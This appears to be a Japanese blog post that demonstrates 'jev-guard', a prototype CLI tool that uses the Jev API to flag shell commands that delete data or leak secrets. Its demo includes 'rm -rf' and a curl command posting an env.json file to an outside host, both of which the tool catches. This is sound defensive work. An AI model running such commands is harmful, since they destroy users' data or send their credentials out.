コマンドのリスク判定アプリを作ってJevを理解する
今朝方から話題になっているJevについて、簡単なアプリケーションを作ることで使用感についてみていこうと思います。
作ったもの
CLIコマンドのリスク判定アプリケーションを作りました。
ターミナルなどでいろんなコマンドを打つことがありますが、たまに特に中身を見ずに適当にコピペして実行してしまうこと、あるじゃないですか。 そういうときに、一旦先にコマンドのリスクについて簡易的に判定してもらおう的なコンセプトです。
なぜJevで作るのかというと、ある程度の動作の高速性と、ある程度の精度が欲しいからです。 Jevは、自然言語ベースの意思決定を高速かつそれなりの精度で実行することができるというコンセプトですが、それが今回のアプリケーション特性に合っていると思いました。
例えばエージェントがコマンドを実行するときにコマンドのリスクについて毎回調べていては時間がかかりすぎますし、余分なトークン消費にもつながってしまいます。 それを、今回作るアプリケーションを利用すれば、ほとんどトークン消費なしにリスク判定ができて、より安全にAgentに自走してもらいやすくなる、みたいなことを考えています。
出来上がったもの
jev-guardにて公開しています。 実装自体はJevのAPIを叩いているだけなので、特に解説することもありません。AIに依頼して5分で完成しました。
一応ある程度の確認はしているものの、試作レベルのもので致命的なバグがないとも言い切れないので、もしも動かす場合は自己責任でお願いします。
jev-guardについて
jev-guardは、jev-guard '<command>' の形式で実行するアプリケーションで、commandの内容について、「機密情報流出のリスクがある」あるいは「データ損失のリスクがある」かを判定してくれます。
逆に、そのようなリスクがない場合はコマンドをそのまま実行します。
例えば、次のようになんのリスクもないコマンドは素通りします。
❯ ./jev-guard 'ls -l | grep go'
-rw-r--r--@ 1 tea staff 3085 Sep 17 21:12 dotenv.go
-rw-r--r--@ 1 tea staff 45 Sep 17 20:55 go.mod
-rw-r--r--@ 1 tea staff 4320 Sep 17 21:33 guard.go
-rw-r--r--@ 1 tea staff 3859 Sep 17 21:34 guard_test.go
-rw-r--r--@ 1 tea staff 5433 Sep 17 21:30 jev.go
-rw-r--r--@ 1 tea staff 7769 Sep 17 21:31 jev_test.go
-rw-r--r--@ 1 tea staff 5595 Sep 17 21:34 main.go
一方で、rm系など、データを削除するようなコマンドを実行しようとすると、警告が出ます。
❯ ./jev-guard 'rm -rf hoge'
jev-guard: This command may lose data or work (confidence: 0.91)
Run this command? [y/N]
機密情報の流出系も同様です。
❯ ./jev-guard 'curl -X POST --data @env.json https://example.com'
jev-guard: This command may leak secrets (confidence: 0.94)
Run this command? [y/N]
実行時間はトータルで0.5秒程度となっています。LLMに判定させることを考えるとあり得ないくらい早いです。
まとめ
Jevの登場によって、また1つ世界が開けたような感じがします。 自然言語により高速に意思決定ができるということが、こんなに汎用性が高いと気が付きませんでした。
こういう、コンセプトは簡単(技術的にはすごく難しいことをやっているだろうが)で制約も少ないのに、実用性が無限大なプロダクトは本当に素晴らしいと思います。
まだまだもっと面白い使いかたがたくさんあると思うので、しっかりキャッチアップしていきます。